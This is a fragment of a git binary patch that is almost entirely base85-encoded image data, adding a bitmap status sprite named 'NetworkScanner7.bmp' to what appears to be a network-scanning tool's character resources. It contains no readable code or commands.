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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner7.bmp b/resources/default_config/characters/BJORN/status/NetworkScanner/NetworkScanner7.bmp new file mode 100644 index 0000000000000000000000000000000000000000..2742da4c381c5dbe14a1f7cab7351947c3403be3 GIT binary patch literal 18462 zcmd^_2Ut|ewy3@DoO{m9IAa8hHi3dXmU=1dMWRUPL{1U~ML{x17A1)h z6M~WvBqKo(r2)xdzv{;8c;<`_FmvXQ+IVbqj z`t05o@wKCndGS$2?*|_rd`N~AY^2D>1@h3o*$DS;WQSyT{7R5JKK>l+jeEPHHF-gOp)f~nU|oPLTIa*0gIFO!@9MX0w@D3xDO z@=pSu0;<|GXS?!dUzg1d)-6mlE|G`UmdKl%>$~IL73=EU*vG-@*{-aaw$$0yOXRl8 zv#nQV+pf;Fr_FwnbaGqTTxZ5&ch-DYCb=zruH)J)kanuHU7P(^0Tn)WWiGzT1Qp1w zX|ruqJwO8}fR8O#sGS5FN+oyYd>p#7x-hj1+?}&-Zmi7q6p@<~W&vnN`W!I7BZHDt zB>l6j_T@}BU4B&=HS#EFxj$#2JB!?rPTs1}mOcxl74%2?Oj|m*wb+wAcrW2qRrE|t z`pWAZaEnsmlTbSbD5rD}K)+0W88$P=Hj`fo@`3zQThYGU7Z6#Ly^>(wls2Q&iqi#>cZq-;@7Q4Ha9oc z7N=G|yk4AWSQxtfvA1mQ6=l2v=(WDgg7DKK%v_0Aa;jUpt`^=_5H>KAkQ#fE@}cGG z+lG|U$H`-llP4N30XM&@icv-g9+!8>t*ozp*-i?H6{UeaxE8qbI)mJHmE4{&*Ofp2 zx*WtU7_ZASeQRLC+65-{k=^+9*KGmpjn##XWisgQ6>|TF!RLA+5bU08 zyN)ID02r5R%d_jNi<=v}oR7Y=_0M4aQXeR{JbNj4h*KV6DEhOs;E$Z*`#EH2c~oIy zYU~mkFiC9$Mw=4@axDZ#9VVg1F0R5RDt(kobRS$`FPHc+MJYB-RkZZj$oQ|+{_&50 z9xGU6DWDB6^rh9r4#3q}1@w8PjQJIe_~i`vq;urOd{w!p^74&Zol0rv^i-!TGfi zLi)TIOF>1+LmXO?3S&cW{tU=ZI{rM?#f3#{bwgQNZZm#4fCc!}Vf-3!AOcz(f*@CA zM=LV%iu}YZ{3E;I53FJbSQVLhDb+w74grv>!O?&i(1VV#5R@0&&+g~w@&AHfsiF0L z>V00ywK!bJ?UIU$yb_W9Ff+8Q3M(Jgo&4%>0Syj8HMoErBT|WlPo9w%{XLUBy^xR2 z88K+$ z{sVrUnf_p@swYgtD+|{aJj5?{ltYmot&fyYp~Namg`L6*%ojZbA#gxM zo>L2T80Ky5vbwsuYurD;dL=4RibLed$XIR5ikC~D$U!l6R(@?xVK5d^-!qCIfy*%= 